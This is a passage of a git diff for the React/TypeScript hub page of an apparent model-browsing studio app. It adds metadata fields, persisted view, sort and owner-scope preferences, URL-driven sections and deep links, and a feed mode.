       if (isPartialHubCache && selectedLocalRow.repoId) {
@@ -321,11 +359,15 @@ export function useSelectedModelView({
           license: detectLicense(mergedTags),
           pipelineTag: mergedPipelineTag,
           libraryName: mergedLibraryName,
+          gated: selectedHfResult?.gated,
+          private: selectedHfResult?.private,
           downloads: selectedHfResult?.downloads,
+          downloadsAllTime: selectedHfResult?.downloadsAllTime,
           likes: selectedHfResult?.likes,
           totalParams: selectedHfResult?.totalParams,
           estimatedSizeBytes: selectedHfResult?.estimatedSizeBytes,
           updatedAt: selectedHfResult?.updatedAt,
+          createdAt: selectedHfResult?.createdAt,
           localUpdatedAt: selectedLocalRow.updatedAt,
           tags: mergedTags,
           quantMethod: mergedQuantMethod,
@@ -369,11 +411,15 @@ export function useSelectedModelView({
         license: detectLicense(mergedTags),
         pipelineTag: mergedPipelineTag,
         libraryName: mergedLibraryName,
+        gated: localHubMetadata?.gated,
+        private: localHubMetadata?.private,
         downloads: localHubMetadata?.downloads,
+        downloadsAllTime: localHubMetadata?.downloadsAllTime,
         likes: localHubMetadata?.likes,
         totalParams: localHubMetadata?.totalParams,
         estimatedSizeBytes: localHubMetadata?.estimatedSizeBytes,
         updatedAt: localHubMetadata?.updatedAt,
+        createdAt: localHubMetadata?.createdAt,
         localUpdatedAt: selectedLocalRow.updatedAt,
         tags: mergedTags,
         quantMethod: mergedQuantMethod,
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index 3de57a31f1..dc9a640cd7 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -5,14 +5,15 @@ import { useHubInventory } from "@/features/hub/inventory";
 import { useDebouncedValue } from "@/hooks/use-debounced-value";
 import { useGpuInfo } from "@/hooks/use-gpu-info";
 import {
+  type HfModelSearchChannel,
   type HfSortDirection,
   type HfSortKey,
 } from "@/features/hub/hooks/use-hub-model-search";
 import { useOnlineStatus } from "@/features/hub/hooks/use-online-status";
-import { useIsHubDesktop } from "@/features/hub/hooks/use-is-hub-desktop";
 import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
 import { ggufVariantsMatch, modelIdsMatch } from "@/features/hub/lib/model-identity";
 import { cn } from "@/lib/utils";
+import { usePlatformStore } from "@/config/env";
 import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
 import {
   getInferenceStatus,
@@ -20,17 +21,26 @@ import {
   useChatModelRuntime,
   useChatRuntimeStore,
 } from "@/features/chat";
-import { ArrowLeft01Icon } from "@hugeicons/core-free-icons";
-import { HugeiconsIcon } from "@hugeicons/react";
 import { useNavigate, useSearch } from "@tanstack/react-router";
 import {
   useCallback,
   useDeferredValue,
   useEffect,
   useMemo,
+  useRef,
   useState,
 } from "react";
-import { ModelInspector } from "./catalog/model-inspector";
+import { HubDetailView } from "./catalog/hub-detail-view";
+import { HubTopBar } from "./catalog/hub-top-bar";
+import { HubFeed } from "./catalog/hub-feed";
+import { OwnerScopeToggle } from "./catalog/owner-scope-toggle";
+import {
+  type AllModelsView,
+  HubListHeader,
+  type InventorySort,
+  InventorySortControl,
+  ResultListHeader,
+} from "./catalog/models-table";
 import {
   ModelsCatalog,
   type ModelsCatalogHandlers,
@@ -42,11 +52,17 @@ import { ModelsToolbar } from "./catalog/models-toolbar";
 import { ExternalLinkConfirmDialog } from "./catalog/external-link-confirm-dialog";
 import { OnDeviceFoldersDialog } from "./catalog/on-device-folders-dialog";
 import { useDiscoverSearch } from "./hooks/use-discover-search";
+import { useFeedWriteBack } from "./hooks/use-feed-write-back";
+import { useHubFeed } from "./hooks/use-hub-feed";
 import { useHubModelVram } from "./hooks/use-hub-model-vram";
 import { useModelsSelection } from "./hooks/use-models-selection";
 import {
+  CHANNEL_TO_SECTION,
   type ChannelId,
   type ChannelPreset,
+  HUB_SECTION_TITLE,
+  type HubSection,
+  SECTION_TO_CHANNEL,
   findChannel,
 } from "./lib/channels";
 import { inventoryRowMatches, tokenizeQuery } from "./lib/inventory-search";
@@ -69,11 +85,60 @@ import type {
 } from "./types";
 
 const MODELS_TAB_STORAGE_KEY = "unsloth.hub.modelsTab";
+const ALL_MODELS_VIEW_STORAGE_KEY = "unsloth.hub.allModelsView";
+const INVENTORY_SORT_STORAGE_KEY = "unsloth.hub.inventorySort";
+const OWNER_SCOPE_STORAGE_KEY = "unsloth.hub.ownerScope";
+
+/** Discover browsing scope: only the unsloth org (default) or the whole Hub. */
+export type OwnerScope = "unsloth" | "all";
+
+function readOwnerScopePreference(): OwnerScope {
+  if (typeof window === "undefined") {
+    return "unsloth";
+  }
+  try {
+    const value = window.localStorage.getItem(OWNER_SCOPE_STORAGE_KEY);
+    return value === "all" ? "all" : "unsloth";
+  } catch {
+    return "unsloth";
+  }
+}
+
+function writeOwnerScopePreference(scope: OwnerScope): void {
+  if (typeof window === "undefined") {
+    return;
+  }
+  try {
+    window.localStorage.setItem(OWNER_SCOPE_STORAGE_KEY, scope);
+  } catch {
+    return;
+  }
+}
 
 const DEFAULT_DISCOVER_CHANNEL: ChannelId = "unsloth-trending";
+const FEED_LIST_CHANNEL_ID: ChannelId = "unsloth-latest";
+
+type DiscoverMode = "feed" | "channel-list" | "search";
 
 type ModelLoadOptions = { ggufVariant?: string; expectedBytes?: number };
 
+// Focused list heading stays "Models"/"Datasets" regardless of filters; only
+// search changes the label.
+function buildFocusedHeading({
+  query,
+  channel,
+  isDataset,
+}: {
+  query: string;
+  channel: ChannelPreset | null;
+  isDataset: boolean;
+}): string {
+  const trimmed = query.trim();
+  if (trimmed) return `Results for "${trimmed}"`;
+  if (channel && channel.id !== DEFAULT_DISCOVER_CHANNEL) return channel.label;
+  return isDataset ? "Datasets" : "Models";
+}
+
 function discoveryInventorySignature(
   cachedRows: readonly CachedInventoryRow[],
   localRows: readonly LocalInventoryRow[],
@@ -115,6 +180,57 @@ function writeModelsTabPreference(tab: ModelsTab): void {
   }
 }
 
+// "All models" defaults to list layout; list-vs-grid choice persists across sessions.
+function readAllModelsViewPreference(): AllModelsView {
+  if (typeof window === "undefined") {
+    return "split";
+  }
+  try {
+    const value = window.localStorage.getItem(ALL_MODELS_VIEW_STORAGE_KEY);
+    return value === "grid" || value === "two" || value === "split"
+      ? value
+      : "split";
+  } catch {
+    return "split";
+  }
+}
+
+function readInventorySortPreference(): InventorySort {
+  if (typeof window === "undefined") {
+    return "recent";
+  }
+  try {
+    const value = window.localStorage.getItem(INVENTORY_SORT_STORAGE_KEY);
+    return value === "name" || value === "size" || value === "recent"
+      ? value
+      : "recent";
+  } catch {
+    return "recent";
+  }
+}
+
+function writeInventorySortPreference(sort: InventorySort): void {
+  if (typeof window === "undefined") {
+    return;
+  }
+  try {
+    window.localStorage.setItem(INVENTORY_SORT_STORAGE_KEY, sort);
+  } catch {
+    return;
+  }
+}
+
+function writeAllModelsViewPreference(view: AllModelsView): void {
+  if (typeof window === "undefined") {
+    return;
+  }
+  try {
+    window.localStorage.setItem(ALL_MODELS_VIEW_STORAGE_KEY, view);
+  } catch {
+    return;
+  }
+}
+
 function useModelsTabState(): {
   tab: ModelsTab;
   setTab: (tab: ModelsTab) => void;
@@ -122,19 +238,21 @@ function useModelsTabState(): {
   const navigate = useNavigate();
   const search = useSearch({ from: "/hub" });
   const urlTab: ModelsTab | null = search.tab ?? null;
+  const hasModelDeepLink =
+    typeof search.model === "string" && search.model.length > 0;
   const [fallbackTab, setFallbackTab] = useState<ModelsTab>(
-    () => readModelsTabPreference() ?? "downloaded",
+    () => readModelsTabPreference() ?? "discover",
   );
-  const tab = urlTab ?? fallbackTab;
+  const tab = urlTab ?? (hasModelDeepLink ? "discover" : fallbackTab);
 
   useEffect(() => {
     if (urlTab !== null) return;
     void navigate({
       to: "/hub",
-      search: (prev) => ({ ...prev, tab: fallbackTab }),
+      search: (prev) => ({ ...prev, tab }),
       replace: true,
     });
-  }, [urlTab, fallbackTab, navigate]);
+  }, [urlTab, tab, navigate]);
 
   const setTab = useCallback(
     (next: ModelsTab) => {
@@ -142,7 +260,12 @@ function useModelsTabState(): {
       writeModelsTabPreference(next);
       void navigate({
         to: "/hub",
-        search: (prev) => ({ ...prev, tab: next }),
+        search: (prev) => ({
+          ...prev,
+          tab: next,
+          section: undefined,
+          model: undefined,
+        }),
         replace: true,
       });
     },
@@ -185,6 +308,9 @@ export function ModelsPage() {
   const navigate = useNavigate();
   const gpu = useGpuInfo();
   const online = useOnlineStatus();
+  const deviceType = usePlatformStore((s) => s.deviceType);
+  const hubSearch = useSearch({ from: "/hub" });
+  const urlModel = hubSearch.model ?? null;
 
   const { selectModel, loadingModel, loadProgress, ejectModel } =
     useChatModelRuntime();
@@ -222,15 +348,23 @@ export function ModelsPage() {
     () => findChannel(DEFAULT_DISCOVER_CHANNEL)?.sort ?? "trendingScore",
   );
   const [direction, setDirection] = useState<HfSortDirection>("desc");
+  const [ownerScope, setOwnerScopeState] = useState<OwnerScope>(
+    readOwnerScopePreference,
+  );
+  const setOwnerScope = useCallback((scope: OwnerScope) => {
+    setOwnerScopeState(scope);
+    writeOwnerScopePreference(scope);
+  }, []);
+  const urlResourceType: ResourceTypeFilter =
+    hubSearch.kind === "datasets" ? "datasets" : "models";
   const [resourceType, setResourceType] =
-    useState<ResourceTypeFilter>("models");
-  const [activeChannelId, setActiveChannelId] = useState<ChannelId | null>(
-    DEFAULT_DISCOVER_CHANNEL,
-  );
-  const activeChannel: ChannelPreset | null = useMemo(
-    () => findChannel(activeChannelId),
-    [activeChannelId],
-  );
+    useState<ResourceTypeFilter>(urlResourceType);
+  // Resync on URL kind change (back/forward); it is only seeded on mount.
+  useEffect(() => {
+    setResourceType((current) =>
+      current === urlResourceType ? current : urlResourceType,
+    );
+  }, [urlResourceType]);
   const [discoverFormat, setDiscoverFormat] = useState<ModelFormatFilter>(
     () => findChannel(DEFAULT_DISCOVER_CHANNEL)?.format ?? "gguf",
   );
@@ -238,27 +372,73 @@ export function ModelsPage() {
     useState<ModelFormatFilter>("all");
   const isDiscoverTab = tab === "discover";
   const isDatasetMode = resourceType === "datasets";
+  const urlSection = hubSearch.section ?? null;
+  const isModelDiscover = isDiscoverTab && !isDatasetMode;
+  const sectionChannelId: ChannelId | null = urlSection
+    ? SECTION_TO_CHANNEL[urlSection]
+    : null;
+  const activeChannelId: ChannelId | null = isModelDiscover
+    ? sectionChannelId
+    : null;
+  const activeChannel: ChannelPreset | null = useMemo(
+    () => findChannel(activeChannelId),
+    [activeChannelId],
+  );
   const formatFilter = isDiscoverTab ? discoverFormat : downloadedFormat;
   const setFormatFilter = useCallback(
     (next: ModelFormatFilter) => {
       if (isDiscoverTab) {
         setDiscoverFormat(next);
+        if (urlSection) {
+          // Exit the section so its preset does not re-impose its own format.
+          void navigate({
+            to: "/hub",
+            search: (prev) => ({ ...prev, section: undefined }),
+          });
+        }
       } else {
         setDownloadedFormat(next);
       }
     },
-    [isDiscoverTab],
+    [isDiscoverTab, urlSection, navigate],
   );
   const [capabilityFilter, setCapabilityFilter] =
     useState<CapabilityFilter>("all");
-  const [mobileInspectorOpen, setMobileInspectorOpen] = useState(false);
-  const isHubDesktop = useIsHubDesktop();
+  const [allModelsView, setAllModelsViewState] = useState<AllModelsView>(
+    readAllModelsViewPreference,
+  );
+  // Remembers the last non-split view so "Back to Hub" can drop out of split
+  // mode into the prior browsing layout (defaults to the two-column grid).
+  const lastNonSplitViewRef = useRef<AllModelsView>("two");
+  const setAllModelsView = useCallback(
+    (view: AllModelsView) => {
+      setAllModelsViewState(view);
+      writeAllModelsViewPreference(view);
+      // Leaving split view drops the inline preview so the user lands on the
+      // full hub list, not the model detail overlay.
+      if (view !== "split") {
+        void navigate({
+          to: "/hub",
+          search: (prev) => ({ ...prev, model: undefined }),
+        });
+      }
+    },
+    [navigate],
+  );
+  const [inventorySort, setInventorySortState] = useState<InventorySort>(
+    readInventorySortPreference,
+  );
+  const setInventorySort = useCallback((sort: InventorySort) => {
+    setInventorySortState(sort);
+    writeInventorySortPreference(sort);
+  }, []);
   const [foldersDialogOpen, setFoldersDialogOpen] = useState(false);
   const [discoverFetchIntent, setDiscoverFetchIntent] = useState(0);
+  const [sortBrowseActive, setSortBrowseActive] = useState(false);
 
   const handleTabChange = useCallback(
     (next: ModelsTab) => {
-      setMobileInspectorOpen(false);
+      setSortBrowseActive(false);
       setModelsTab(next);
     },
     [setModelsTab],
@@ -270,44 +450,146 @@ export function ModelsPage() {
       setResourceType(next);
       setDownloadedFormat("all");
       setCapabilityFilter("all");
+      setSortBrowseActive(false);
       if (next === "models") {
         const preset = findChannel(DEFAULT_DISCOVER_CHANNEL);
-        setActiveChannelId(DEFAULT_DISCOVER_CHANNEL);
         setDiscoverFormat(preset?.format ?? "gguf");
         setSortBy(preset?.sort ?? "trendingScore");
         setDirection("desc");
-      } else {
-        setActiveChannelId(null);
       }
+      void navigate({
+        to: "/hub",
+        search: (prev) => ({
+          ...prev,
+          kind: next === "datasets" ? "datasets" : undefined,
+          section: undefined,
+          model: undefined,
+        }),
+        replace: true,
+      });
     },
-    [resourceType],
+    [resourceType, navigate],
   );
 
-  const handleChannelSelect = useCallback((next: ChannelId | null) => {
-    setActiveChannelId(next);
+  const handleOpenList = useCallback(
+    (section: HubSection) => {
+      if (urlSection === section) return;
+      const preset = findChannel(SECTION_TO_CHANNEL[section]);
+      if (preset) {
+        setDiscoverFormat(preset.format);
+        setSortBy(preset.sort);
+        setDirection("desc");
+      }
+      setCapabilityFilter("all");
+      setSortBrowseActive(false);
+      // Clear search: an active query outranks the section in `mode`, hiding
+      // the curated list behind global results otherwise.
+      setQuery("");
+      void navigate({
+        to: "/hub",
+        search: (prev) => ({ ...prev, section, model: undefined }),
+      });
+    },
+    [urlSection, navigate],
+  );
+  const handleBackToFeed = useCallback(() => {
+    const preset = findChannel(DEFAULT_DISCOVER_CHANNEL);
+    setDiscoverFormat(preset?.format ?? "gguf");
+    setSortBy(preset?.sort ?? "trendingScore");
+    setDirection("desc");
     setCapabilityFilter("all");
+    setSortBrowseActive(false);
+    void navigate({
+      to: "/hub",
+      search: (prev) => ({ ...prev, section: undefined }),
+    });
+  }, [navigate]);
+  const handleResetToDiscover = useCallback(() => {
+    const preset = findChannel(DEFAULT_DISCOVER_CHANNEL);
+    setModelsTab("discover");
+    setResourceType("models");
     setQuery("");
-    const preset = findChannel(next);
-    if (preset) {
-      setDiscoverFormat(preset.format);
-      setSortBy(preset.sort);
-      setDirection("desc");
-    }
-  }, []);
+    setCapabilityFilter("all");
+    setDownloadedFormat("all");
+    setDiscoverFormat(preset?.format ?? "gguf");
+    setSortBy(preset?.sort ?? "trendingScore");
+    setDirection("desc");
+    setSortBrowseActive(false);
+    void navigate({
+      to: "/hub",
+      // Assert the tab here too: fires alongside setModelsTab's navigation, and
+      // spreading prev could otherwise restore the old tab.
+      search: (prev) => ({
+        ...prev,
+        tab: "discover",
+        section: undefined,
+        model: undefined,
+        kind: undefined,
+      }),
+    });
+  }, [navigate, setModelsTab]);
 
-  const handleSortChange = useCallback((next: HfSortKey) => {
-    setSortBy(next);
-    if (next === "trendingScore") setDirection("desc");
-  }, []);
+  const handleSortChange = useCallback(
+    (next: HfSortKey) => {
+      setSortBy(next);
+      if (next === "trendingScore") setDirection("desc");
+      setSortBrowseActive(true);
+      if (urlSection) {
+        void navigate({
+          to: "/hub",
+          search: (prev) => ({ ...prev, section: undefined }),
+          replace: true,
+        });
+      }
+    },
+    [urlSection, navigate],
+  );
 
   const debouncedQuery = useDebouncedValue(query);
   const deferredDebouncedQuery = useDeferredValue(debouncedQuery);
   const hfToken = useHfTokenStore((s) => s.token);
   const debouncedHfToken = useDebouncedValue(hfToken, 500);
-  const effectiveSort: HfSortKey = sortBy;
   const deferredFormatFilter = useDeferredValue(formatFilter);
   const deferredCapabilityFilter = useDeferredValue(capabilityFilter);
 
+  const hasQuery = deferredDebouncedQuery.trim() !== "";
+  const mode: DiscoverMode = !isModelDiscover
+    ? "search"
+    : hasQuery
+      ? "search"
+      : urlSection != null
+        ? "channel-list"
+        : sortBrowseActive
+          ? "search"
+          : "feed";
+  const isFeedMode = mode === "feed";
+  const isChannelListMode = mode === "channel-list";
+  const isSortBrowseMode =
+    sortBrowseActive && isModelDiscover && !hasQuery && urlSection == null;
+
+  const liveListChannel = useMemo<ChannelPreset | null>(() => {
+    if (isChannelListMode) return activeChannel;
+    if (isFeedMode) return findChannel(FEED_LIST_CHANNEL_ID);
+    return null;
+  }, [isChannelListMode, isFeedMode, activeChannel]);
+
+  const effectiveSort: HfSortKey =
+    isFeedMode && liveListChannel ? liveListChannel.sort : sortBy;
+  const effectiveDirection: HfSortDirection = isFeedMode ? "desc" : direction;
+  // Feed mode uses the live channel format so it does not hide non-matching rows.
+  const effectiveDiscoverFormat: ModelFormatFilter =
+    isFeedMode && liveListChannel ? liveListChannel.format : deferredFormatFilter;
+
+  const listChannel = useMemo<HfModelSearchChannel | null>(() => {
+    if (!liveListChannel) return null;
+    return {
+      owner: liveListChannel.owner,
+      tags: liveListChannel.tags,
+      query: liveListChannel.query,
+      idSuffix: liveListChannel.idSuffix,
+    };
+  }, [liveListChannel]);
+
   const {
     results,
     datasetResults,
@@ -324,11 +606,19 @@ export function ModelsPage() {
     isDiscoverTab,
     isDatasetMode,
     sortBy: effectiveSort,
-    direction,
-    activeChannel,
+    direction: effectiveDirection,
+    channel: listChannel,
+    ownerScope,
     online,
   });
 
+  useFeedWriteBack({
+    channelId: isChannelListMode ? activeChannelId : null,
+    results,
+    isLoading,
+    accessToken: debouncedHfToken || undefined,
+  });
+
   const {
     cachedRows: effectiveCachedRows,
     localRows: effectiveLocalRows,
@@ -341,8 +631,7 @@ export function ModelsPage() {
   } = useHubInventory({ kind: isDatasetMode ? "datasets" : "models" });
 
   const modelDiscoveryInventorySignature = useMemo(
-    () =>
-      discoveryInventorySignature(effectiveCachedRows, effectiveLocalRows),
+    () => discoveryInventorySignature(effectiveCachedRows, effectiveLocalRows),
     [effectiveCachedRows, effectiveLocalRows],
   );
   const modelDiscoverRows = useMemo<DiscoverRow[]>(
@@ -372,12 +661,17 @@ export function ModelsPage() {
           id: ds.id,
           downloads: ds.downloads,
           likes: ds.likes,
+          private: ds.private,
+          gated: ds.gated,
+          updatedAt: ds.updatedAt,
+          createdAt: ds.createdAt,
+          downloadsAllTime: ds.downloadsAllTime,
           isGguf: false,
           tags: ds.plainTags,
         },
         isAvailableOnDevice: availableSet.has(lower),
         isPartialOnDevice: partialSet.has(lower),
-        summary: summaryParts.join(" · ") || "Dataset",
+        summary: summaryParts.join(" · ") || ds.prettyName || "Dataset",
         capabilities: [],
       };
     });
@@ -385,32 +679,65 @@ export function ModelsPage() {
 
   const discoverRows = isDatasetMode ? datasetDiscoverRows : modelDiscoverRows;
 
-  const filteredDiscoverRows = useMemo(
+  const filteredDiscoverRows = useMemo(() => {
+    if (isDatasetMode) return discoverRows;
+    return discoverRows.filter(
+      (row) =>
+        matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
+        matchesCapability(row.capabilities, deferredCapabilityFilter) &&
+        (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)),
+    );
+  }, [
+    discoverRows,
+    isDatasetMode,
+    effectiveDiscoverFormat,
+    deferredCapabilityFilter,
+    activeChannel,
+  ]);
+
+  const listRows = filteredDiscoverRows;
+
+  const hubFeed = useHubFeed({
+    accessToken: debouncedHfToken || undefined,
+    online,
+    enabled: isFeedMode,
+    deviceType,
+  });
+
+  const feedTrendingRows = useMemo(
     () =>
-      discoverRows.filter((row) => {
-        if (isDatasetMode) return true;
-        return (
-          matchesFormat(detectResultFormat(row.result), deferredFormatFilter) &&
-          matchesCapability(row.capabilities, deferredCapabilityFilter) &&
-          (!activeChannel?.finetunableOnly ||
-            isUnslothFinetunable(row.result))
-        );
-      }),
-    [
-      discoverRows,
-      isDatasetMode,
-      deferredFormatFilter,
-      deferredCapabilityFilter,
-      activeChannel,
-    ],
+      buildDiscoverRows(
+        hubFeed.trending.results,
+        effectiveCachedRows,
+        effectiveLocalRows,
+      ).filter((row) => matchesFormat(row.result.isGguf, "gguf")),
+    [hubFeed.trending.results, modelDiscoveryInventorySignature],
   );
+  const feedRows = useMemo(() => {
+    if (!isFeedMode) return [];
+    const seen = new Set<string>();
+    const merged: DiscoverRow[] = [];
+    for (const row of [...feedTrendingRows, ...filteredDiscoverRows]) {
+      if (seen.has(row.id)) continue;
+      seen.add(row.id);
+      merged.push(row);
+    }
+    return merged;
+  }, [isFeedMode, feedTrendingRows, filteredDiscoverRows]);
+  const feedResults = useMemo(() => feedRows.map((row) => row.result), [feedRows]);
+  const selectionDiscoverRows = isFeedMode ? feedRows : discoverRows;
+  const selectionFilteredDiscoverRows = isFeedMode
+    ? feedRows
+    : filteredDiscoverRows;
+  const selectionResults = isFeedMode ? feedResults : results;
 
   const inventoryTokens = useMemo(
     () => (isDiscoverTab ? [] : tokenizeQuery(deferredDebouncedQuery)),
     [isDiscoverTab, deferredDebouncedQuery],
   );
-  // Format filter hard-filters; the text query drives dim-not-filter on the On Device
-  // tab so selection survives typing, with matching rows partitioned to the top.
+  // Format filter is a deliberate scope narrowing, so hard-filter it out. The
+  // text query instead drives dim-not-filter on On Device (see ModelsCatalog) so
+  // selection survives typing; matching rows are partitioned to the top.
   const filteredCachedRows = useMemo(
     () =>
       partitionByMatch(
@@ -445,8 +772,9 @@ export function ModelsPage() {
         deferredFormatFilter,
         deferredCapabilityFilter,
         effectiveSort,
-        direction,
+        effectiveDirection,
         activeChannelId,
+        ownerScope,
       ]),
     [
       deferredDebouncedQuery,
@@ -454,19 +782,26 @@ export function ModelsPage() {
       deferredFormatFilter,
       deferredCapabilityFilter,
       effectiveSort,
-      direction,
+      effectiveDirection,
       activeChannelId,
+      ownerScope,
     ],
   );
   const handleClearFilters = useCallback(() => {
     if (isDiscoverTab) {
-      setActiveChannelId(null);
       setDiscoverFormat("all");
+      if (urlSection) {
+        void navigate({
+          to: "/hub",
+          search: (prev) => ({ ...prev, section: undefined }),
+          replace: true,
+        });
+      }
     } else {
       setDownloadedFormat("all");
     }
     setCapabilityFilter("all");
-  }, [isDiscoverTab]);
+  }, [isDiscoverTab, urlSection, navigate]);
   const handleDiscoverFetchIntent = useCallback(() => {
     setDiscoverFetchIntent((value) => value + 1);
   }, []);
@@ -478,8 +813,10 @@ export function ModelsPage() {
     fetchMoreManually: fetchMoreDiscoverManually,
   } = useHubInfiniteScroll(
     fetchMore,
-    // Re-evaluate off the raw fetched count, not the filtered one: page-level filters
-    // can reject every incoming row, stalling filteredDiscoverRows while results grow.
+    // Re-evaluate off the raw fetched count, not the filtered one: aggressive
+    // format/capability filters can reject every row, stalling
+    // filteredDiscoverRows.length while results grow. The raw count guarantees
+    // the auto-fire effect re-runs after each fetch lands.
     scannedCount,
     {
       enabled: online && isDiscoverTab && hasMore,
@@ -501,13 +838,13 @@ export function ModelsPage() {
   } = useModelsSelection({
     isDiscoverTab,
     isDatasetMode,
-    discoverRows,
+    discoverRows: selectionDiscoverRows,
     cachedRows: effectiveCachedRows,
     localRows: effectiveLocalRows,
-    filteredDiscoverRows,
+    filteredDiscoverRows: selectionFilteredDiscoverRows,
     filteredCachedRows,
     filteredLocalRows,
-    results,
+    results: selectionResults,
     accessToken: debouncedHfToken || undefined,
     online,
   });
@@ -515,24 +852,117 @@ export function ModelsPage() {
   const handleSelect = useCallback(
     (id: string) => {
       setSelected(id);
-      // Only flip the mobile drawer in single-pane layout; on lg+ both panes are
-      // visible and setting state here just churns the catalog's virtualizer.
-      if (
-        typeof window !== "undefined" &&
-        window.matchMedia("(max-width: 1023.98px)").matches
-      ) {
-        setMobileInspectorOpen(true);
-      }
+      void navigate({
+        to: "/hub",
+        search: (prev) => ({ ...prev, model: id }),
+      });
     },
-    [setSelected],
+    [setSelected, navigate],
   );
+  const handleCloseDetail = useCallback(() => {
+    // From split view, "Back to Hub" exits the master-detail layout and returns
+    // to the main hub feed (not the filtered list): leave split mode, reset
+    // discover state to defaults, and clear the inline preview and channel.
+    if (allModelsView === "split") {
+      const next = lastNonSplitViewRef.current;
+      setAllModelsViewState(next);
+      writeAllModelsViewPreference(next);
+      const preset = findChannel(DEFAULT_DISCOVER_CHANNEL);
+      setDiscoverFormat(preset?.format ?? "gguf");
+      setSortBy(preset?.sort ?? "trendingScore");
+      setDirection("desc");
+      setCapabilityFilter("all");
+      setSortBrowseActive(false);
+      setQuery("");
+      void navigate({
+        to: "/hub",
+        search: (prev) => ({ ...prev, model: undefined, section: undefined }),
+      });
+      return;
+    }
+    void navigate({
+      to: "/hub",
+      search: (prev) => ({ ...prev, model: undefined }),
+    });
+  }, [navigate, allModelsView]);
   const handleQueryChange = useCallback(
     (next: string) => {
-      if (activeChannelId) setActiveChannelId(null);
+      if (next.trim() === "") {
+        const preset = findChannel(DEFAULT_DISCOVER_CHANNEL);
+        setCapabilityFilter("all");
+        setSortBrowseActive(false);
+        if (preset) {
+          setDiscoverFormat(preset.format);
+          setSortBy(preset.sort);
+          setDirection("desc");
+        }
+      }
+      if (urlModel || urlSection) {
+        void navigate({
+          to: "/hub",
+          search: (prev) => ({
+            ...prev,
+            model: undefined,
+            section: undefined,
+          }),
+          replace: true,
+        });
+      }
       setQuery(next);
     },
-    [activeChannelId],
+    [urlSection, urlModel, navigate],
   );
+
+  useEffect(() => {
+    if (urlModel !== selectedId) {
+      setSelected(urlModel);
+    }
+  }, [urlModel, selectedId, setSelected]);
+
+  // Track the last non-split layout so leaving split mode restores it.
+  useEffect(() => {
+    if (allModelsView !== "split") {
+      lastNonSplitViewRef.current = allModelsView;
+    }
+  }, [allModelsView]);
+
+  // Split view previews the first row so the detail pane isn't empty, except in
+  // feed mode where the feed must stay visible.
+  useEffect(() => {
+    if (allModelsView !== "split" || urlModel || isFeedMode) return;
+    // Use the filtered rows the master pane renders, not raw inventory, so the
+    // preview never lands on a filtered-out row.
+    const firstId = isDiscoverTab
+      ? listRows[0]?.id
+      : (filteredCachedRows[0]?.id ?? filteredLocalRows[0]?.id);
+    if (!firstId) return;
+    setSelected(firstId);
+    void navigate({
+      to: "/hub",
+      search: (prev) => ({ ...prev, model: firstId }),
+      replace: true,
+    });
+  }, [
+    allModelsView,
+    urlModel,
+    isFeedMode,
+    isDiscoverTab,
+    listRows,
+    filteredCachedRows,
+    filteredLocalRows,
+    setSelected,
+    navigate,
+  ]);
+
+  useEffect(() => {
+    if (!isModelDiscover || !sectionChannelId) return;
+    const preset = findChannel(sectionChannelId);
+    if (!preset) return;
+    setDiscoverFormat(preset.format);
+    setSortBy(preset.sort);
+    setDirection("desc");
+    setCapabilityFilter("all");
+  }, [isModelDiscover, sectionChannelId]);
   const handleManageLocalFolders = useCallback(
     () => setFoldersDialogOpen(true),
     [],
@@ -601,7 +1031,34 @@ export function ModelsPage() {
     (opts: ModelLoadOptions = {}) => runSelectedModel(opts, true),
     [runSelectedModel],
   );
-  const handleTrain = useCallback(() => undefined, []);
+  const handleTrain = useCallback(() => {
+    // Hub → train integration ships in a later PR.
+  }, []);
+  const handleSearchHub = useCallback(
+    (next: string) => {
+      const trimmed = next.trim();
+      if (!trimmed) return;
+      setModelsTab("discover");
+      setResourceType("models");
+      setDiscoverFormat("all");
+      setCapabilityFilter("all");
+      setSortBrowseActive(false);
+      // Base models come from other publishers, so search the whole Hub.
+      setOwnerScope("all");
+      setQuery(trimmed);
+      void navigate({
+        to: "/hub",
+        search: (prev) => ({
+          ...prev,
+          tab: "discover",
+          section: undefined,
+          model: undefined,
+          kind: undefined,
+        }),
+      });
+    },
+    [navigate, setModelsTab, setOwnerScope],
+  );
 
   const inspectorRuntime = useMemo(
     () => ({
@@ -635,12 +1092,14 @@ export function ModelsPage() {
       onUseInChat: openNewChat,
       onTrain: handleTrain,
       onInventoryChange: refreshInventory,
+      onSearchHub: handleSearchHub,
     }),
     [
       handleLoad,
       handleLoadLocal,
       openNewChat,
       handleTrain,
+      handleSearchHub,
       refreshInventory,
     ],
   );
@@ -648,7 +1107,7 @@ export function ModelsPage() {
   const catalogState = useMemo<ModelsCatalogState>(
     () => ({
       tab,
-      discoverRows: filteredDiscoverRows,
+      discoverRows: listRows,
       cachedRows: filteredCachedRows,
       localRows: filteredLocalRows,
       selectedId,
@@ -668,11 +1127,13 @@ export function ModelsPage() {
       hasMore,
       manualFetchAvailable: discoverManualFetchAvailable,
       hasActiveFilters:
-        deferredFormatFilter !== "all" || deferredCapabilityFilter !== "all",
+        !isFeedMode &&
+        (deferredFormatFilter !== "all" || deferredCapabilityFilter !== "all"),
     }),
     [
       tab,
-      filteredDiscoverRows,
+      isFeedMode,
+      listRows,
       filteredCachedRows,
       filteredLocalRows,
       selectedId,
@@ -724,9 +1185,134 @@ export function ModelsPage() {
     ],
   );
 
+  const focusedHeadingText = useMemo(
+    () =>
+      buildFocusedHeading({
+        query: deferredDebouncedQuery,
+        channel: activeChannel,
+        isDataset: isDatasetMode,
+      }),
+    [deferredDebouncedQuery, activeChannel, isDatasetMode],
+  );
+
+  const listCount = listRows.length;
+  const channelSection = activeChannelId
+    ? CHANNEL_TO_SECTION[activeChannelId]
+    : null;
+  const catalogHeader = useMemo(() => {
+    if (!isDiscoverTab) return null;
+    if (isFeedMode) {
+      return (
+        <div className="flex flex-col gap-6 pt-6">
+          {allModelsView !== "split" && (
+            <HubFeed
+              trending={{
+                rows: feedTrendingRows,
+                isLoading: hubFeed.trending.isLoading,
+              }}
+              deviceType={deviceType}
+              isDataset={isDatasetMode}
+              onSelect={handleSelect}
+              onOpenChannel={handleOpenList}
+            />
+          )}
+          <div className="flex flex-col gap-3">
+            <HubListHeader
